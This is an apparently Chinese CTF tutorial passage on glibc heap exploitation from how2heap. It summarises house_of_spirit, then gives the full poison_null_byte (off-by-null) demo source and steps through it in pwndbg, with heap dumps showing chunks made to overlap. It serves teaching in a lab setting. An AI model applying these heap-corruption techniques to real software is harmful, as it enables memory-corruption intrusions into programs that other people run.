how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
1.fastbins的house_of_spirit攻击
house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。
2.poison_null_byte演示程序
该技术适用的场景需要某个malloc的内存区域存在一个单字节溢出漏洞。通过溢出下一个chunk的size字段,攻击者能够在堆中创造出重叠的内存块,从而达到改写其他数据的目的。再结合其他的利用方式,同样能够获得程序的控制权。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>int main()
{fprintf(stderr, "当存在 off by null 的时候可以使用该技术\n");uint8_t* a;uint8_t* b;uint8_t* c;uint8_t* b1;uint8_t* b2;uint8_t* d;void *barrier;fprintf(stderr, "申请 0x100 的 chunk a\n");a = (uint8_t*) malloc(0x100);fprintf(stderr, "a 在: %p\n", a);int real_a_size = malloc_usable_size(a);fprintf(stderr, "因为我们想要溢出 chunk a,所以需要知道他的实际大小: %#x\n", real_a_size);b = (uint8_t*) malloc(0x200);fprintf(stderr, "b: %p\n", b);c = (uint8_t*) malloc(0x100);fprintf(stderr, "c: %p\n", c);barrier = malloc(0x100);fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);uint64_t* b_size_ptr = (uint64_t*)(b - 8);fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");*(size_t*)(b+0x1f0) = 0x200;free(b);fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));b1 = malloc(0x100);fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);fprintf(stderr, "现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: %#lx\n",*c_prev_size_ptr);fprintf(stderr, "但是我们之前写 0x200 那个地方已经改成了: %lx\n",*(((uint64_t*)c)-4));fprintf(stderr, "接下来 malloc 'b2', 作为 'victim' chunk.\n");b2 = malloc(0x80);fprintf(stderr, "b2 申请在: %p\n",b2);memset(b2,'B',0x80);fprintf(stderr, "现在 b2 填充的内容是:\n%s\n",b2);fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");free(b1);free(c);fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");d = malloc(0x300);fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);memset(d,'D',0x300);fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);
}
3.调试poison_null_byte
3.1 获得可执行程序
gcc -g poison_null_byte.c -o poison_null_byte
3.2 第一次调试程序
调试环境搭建可参考环境从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
root@pwn_test1604:/ctf/work/how2heap# gcc -g poison_null_byte.c -o poison_null_byte
root@pwn_test1604:/ctf/work/how2heap# gdb ./poison_null_byte
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./poison_null_byte...done.
pwndbg> r
Starting program: /ctf/work/how2heap/poison_null_byte
当存在 off by null 的时候可以使用该技术
申请 0x100 的 chunk a
a 在: 0x603010
因为我们想要溢出 chunk a,所以需要知道他的实际大小: 0x108
b: 0x603120
c: 0x603330
另外再申请了一个 chunk c:0x603440,防止 free 的时候与 top chunk 发生合并的情况
会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查
b 的 size: 0x211
假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上
b 现在的 size: 0x200
c 的 prev_size 是 0x210
但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
申请一个 0x100 大小的 b1: 0x603120
现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: 0x210
但是我们之前写 0x200 那个地方已经改成了: f0
接下来 malloc 'b2', 作为 'victim' chunk.
b2 申请在: 0x603230
现在 b2 填充的内容是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.
这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了
d 申请到了: 0x603120,我们填充一下 d 为 "D"
现在 b2 的内容就是:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
[Inferior 1 (process 82) exited normally]
pwndbg>
3.3 第二次调试程序
3.3.1 设置断点第32行并走起
首先申请了4个chunk,分别是a、b、c和一个防止与top chunk合并的chunk。
pwndbg> b 32
Breakpoint 2 at 0x4007f1: file poison_null_byte.c, line 32.
pwndbg> c
Continuing.
当存在 off by null 的时候可以使用该技术
申请 0x100 的 chunk a
a 在: 0x603010
因为我们想要溢出 chunk a,所以需要知道他的实际大小: 0x108
b: 0x603120
c: 0x603330
另外再申请了一个 chunk c:0x603440,防止 free 的时候与 top chunk 发生合并的情况Breakpoint 2, main () at poison_null_byte.c:33
33 uint64_t* b_size_ptr = (uint64_t*)(b - 8);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x67RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbee0 ◂— 0x86e596a4e5a68fe5R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x67R10 0x75686320706f7420 (' top chu')R11 0x246R12 0x4005e0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe570 ◂— 0x108f7ffe168RIP 0x4007f1 (main+283) ◂— mov rax, qword ptr [rbp - 0x40]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4007f1 <main+283> mov rax, qword ptr [rbp - 0x40]0x4007f5 <main+287> sub rax, 80x4007f9 <main+291> mov qword ptr [rbp - 0x28], rax0x4007fd <main+295> mov rax, qword ptr [rip + 0x20185c] <0x602060>0x400804 <main+302> mov rcx, rax0x400807 <main+305> mov edx, 0x700x40080c <main+310> mov esi, 10x400811 <main+315> mov edi, 0x400c700x400816 <main+320> call fwrite@plt <0x4005c0>0x40081b <main+325> mov rax, qword ptr [rbp - 0x40]0x40081f <main+329> add rax, 0x1f0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c28 fprintf(stderr, "c: %p\n", c);29 30 barrier = malloc(0x100);31 fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);32 ► 33 uint64_t* b_size_ptr = (uint64_t*)(b - 8);34 fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");35 *(size_t*)(b+0x1f0) = 0x200;36 37 free(b);38
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 ◂— 0x0
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 ◂— 0x0
06:0030│ 0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 4007f1 main+283f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:32
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x210 Used None None
0x603320 0x0 0x110 Used None None
0x603430 0x0 0x110 Used None None
3.3.2 设置断点第36行并走起
接下来为了绕过size和next chunk的prev_size的检查,我们在chunk b的末尾伪造了一个0x200大小的prev_size
pwndbg> n
会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查
35 *(size_t*)(b+0x1f0) = 0x200;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x70RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x400c00 ◂— and eax, 0xa70 /* '%p\n' */R8 0x70R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10 0x1R11 0x246R12 0x4005e0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe570 ◂— 0x108f7ffe168RIP 0x40081b (main+325) ◂— mov rax, qword ptr [rbp - 0x40]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400804 <main+302> mov rcx, rax0x400807 <main+305> mov edx, 0x700x40080c <main+310> mov esi, 10x400811 <main+315> mov edi, 0x400c700x400816 <main+320> call fwrite@plt <0x4005c0>► 0x40081b <main+325> mov rax, qword ptr [rbp - 0x40]0x40081f <main+329> add rax, 0x1f00x400825 <main+335> mov qword ptr [rax], 0x2000x40082c <main+342> mov rax, qword ptr [rbp - 0x40]0x400830 <main+346> mov rdi, rax0x400833 <main+349> call free@plt <0x400560>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c30 barrier = malloc(0x100);31 fprintf(stderr, "另外再申请了一个 chunk c:%p,防止 free 的时候与 top chunk 发生合并的情况\n", barrier);32 33 uint64_t* b_size_ptr = (uint64_t*)(b - 8);34 fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");► 35 *(size_t*)(b+0x1f0) = 0x200;36 37 free(b);38 39 fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);40 fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 ◂— 0x0
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x211
06:0030│ 0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 40081b main+325f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> n
37 free(b);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x603310 ◂— 0x200RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x400c00 ◂— and eax, 0xa70 /* '%p\n' */R8 0x70R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10 0x1R11 0x246R12 0x4005e0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe570 ◂— 0x108f7ffe168RIP 0x40082c (main+342) ◂— mov rax, qword ptr [rbp - 0x40]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400811 <main+315> mov edi, 0x400c700x400816 <main+320> call fwrite@plt <0x4005c0>0x40081b <main+325> mov rax, qword ptr [rbp - 0x40]0x40081f <main+329> add rax, 0x1f00x400825 <main+335> mov qword ptr [rax], 0x200► 0x40082c <main+342> mov rax, qword ptr [rbp - 0x40]0x400830 <main+346> mov rdi, rax0x400833 <main+349> call free@plt <0x400560>0x400838 <main+354> mov rax, qword ptr [rbp - 0x28]0x40083c <main+358> mov rdx, qword ptr [rax]0x40083f <main+361> mov rax, qword ptr [rip + 0x20181a] <0x602060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c32 33 uint64_t* b_size_ptr = (uint64_t*)(b - 8);34 fprintf(stderr, "会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以要在后面一个 0x200 来绕过检查\n");35 *(size_t*)(b+0x1f0) = 0x200;36 ► 37 free(b);38 39 fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);40 fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");41 a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"42 fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 ◂— 0x0
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x211
06:0030│ 0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 40082c main+342f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x210 Used None None
0x603320 0x0 0x110 Used None None
0x603430 0x0 0x110 Used None None
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x110 Used None None
0x603110 0x0 0x210 Used None None
0x603320 0x0 0x110 Used None None
0x603430 0x0 0x110 Used None None
pwndbg> heap
heapbase : 0x603000
pwndbg> x/10gx 0x603320-0x10
0x603310: 0x0000000000000200 0x0000000000000000
0x603320: 0x0000000000000000 0x0000000000000111
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x603110
0x603110: 0x0000000000000000 0x0000000000000211
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
pwndbg> heap
heapbase : 0x603000
pwndbg> x/10gx 0x603320-0x10
0x603310: 0x0000000000000200 0x0000000000000000
0x603320: 0x0000000000000000 0x0000000000000111
0x603330: 0x0000000000000000 0x0000000000000000
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x603110
0x603110: 0x0000000000000000 0x0000000000000211
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
其中0x603310: 0x0000000000000200 是伪造的pre_size
0x603110: 0x0000000000000211 原本b的size
3.3.3 设置断点第42行并走起
然后把b给free掉,通过编辑chunk a来更改b的size的最后一位为0x00。
pwndbg> b 42
Breakpoint 3 at 0x400886: file poison_null_byte.c, line 42.
pwndbg> c
Continuing.
b 的 size: 0x211
假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上Breakpoint 3, main () at poison_null_byte.c:42
42 fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x603118 ◂— 0x200RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x108RDI 0x2RSI 0x400c00 ◂— and eax, 0xa70 /* '%p\n' */R8 0x52R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10 0x1R11 0x246R12 0x4005e0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe570 ◂— 0x108f7ffe168RIP 0x400886 (main+432) ◂— mov rax, qword ptr [rbp - 0x28]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400886 <main+432> mov rax, qword ptr [rbp - 0x28]0x40088a <main+436> mov rdx, qword ptr [rax]0x40088d <main+439> mov rax, qword ptr [rip + 0x2017cc] <0x602060>0x400894 <main+446> mov esi, 0x400d4b0x400899 <main+451> mov rdi, rax0x40089c <main+454> mov eax, 00x4008a1 <main+459> call fprintf@plt <0x4005a0>0x4008a6 <main+464> mov rax, qword ptr [rbp - 0x38]0x4008aa <main+468> sub rax, 0x100x4008ae <main+472> mov qword ptr [rbp - 0x20], rax0x4008b2 <main+476> mov rax, qword ptr [rbp - 0x20]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c37 free(b);38 39 fprintf(stderr, "b 的 size: %#lx\n", *b_size_ptr);40 fprintf(stderr, "假设我们写 chunk a 的时候多写了一个 0x00 在 b 的 size 的 p 位上\n");41 a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"► 42 fprintf(stderr, "b 现在的 size: %#lx\n", *b_size_ptr);43 44 uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;45 fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);46 47 fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603540 ◂— 0x0
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x200
06:0030│ 0x7fffffffe5a0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5a8 —▸ 0x4005e0 (_start) ◂— xor ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400886 main+432f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:42
pwndbg> x/10gx 0x603110
0x603110: 0x0000000000000000 0x0000000000000200
0x603120: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
pwndbg>
pwndbg> x/10gx 0x603110
0x603110: 0x0000000000000000 0x0000000000000200
0x603120: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
pwndbg>
其中 0x603110: 0x0000000000000200 修改后b的size
3.3.4 设置断点第50行并走起
这时候c那里的prev_size还是之前的,因为更改了b的size,所以找的时候会找b + 0x200的,而真正的prev_size位在0x210处,也正是这样让我们绕过了chunksize(P) = prev_size(next_chunk(P))的检测。
接下来申请一个0x100大小的chunk,因为b已经被free了,所以glibc会将b进行切割,分出一块0x100大小的堆块给b1,剩下0xf0。
pwndbg> n
50 fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) —▸ 0x7ffff7dd1d38 (main_arena+536) ◂— ...RBX 0x0RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RDX 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) —▸ 0x7ffff7dd1d38 (main_arena+536) ◂— ...RDI 0xf0RSI 0x1R8 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) —▸ 0x7ffff7dd1d38 (main_arena+536) —▸ 0x7ffff7dd1d28 (main_arena+520) ◂— ...R9 0xaaR10 0x0R11 0x246R12 0x4005e0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe570 ◂— 0x108f7ffe168RIP 0x40091d (main+583) ◂— mov rax, qword ptr [rip + 0x20173c]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x40090f <main+569> mov edi, 0x1000x400914 <main+574> call malloc@plt <0x4005b0>0x400919 <main+579> mov qword ptr [rbp - 0x18], rax► 0x40091d <main+583> mov rax, qword ptr [rip + 0x20173c] <0x602060>0x400924 <main+590> mov rdx, qword ptr [rbp - 0x18]0x400928 <main+594> mov esi, 0x400e300x40092d <main+599> mov rdi, rax0x400930 <main+602> mov eax, 00x400935 <main+607> call fprintf@plt <0x4005a0>0x40093a <main+612> mov rax, qword ptr [rbp - 0x20]0x40093e <main+616> mov rdx, qword ptr [rax]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c45 fprintf(stderr, "c 的 prev_size 是 %#lx\n",*c_prev_size_ptr);46 47 fprintf(stderr, "但他根据 chunk b 的 size 找的时候会找到 b+0x1f0 那里,我们将会成功绕过 chunk 的检测 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8)))); 48 b1 = malloc(0x100);49 ► 50 fprintf(stderr, "申请一个 0x100 大小的 b1: %p\n",b1);51 fprintf(stderr, "现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: %#lx\n",*c_prev_size_ptr);52 fprintf(stderr, "但是我们之前写 0x200 那个地方已经改成了: %lx\n",*(((uint64_t*)c)-4));53 fprintf(stderr, "接下来 malloc 'b2', 作为 'victim' chunk.\n");54 55 b2 = malloc(0x80);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│ 0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│ 0x7fffffffe580 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
03:0018│ 0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│ 0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│ 0x7fffffffe598 —▸ 0x603118 ◂— 0x111
06:0030│ 0x7fffffffe5a0 —▸ 0x603320 ◂— 0x210
07:0038│ 0x7fffffffe5a8 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
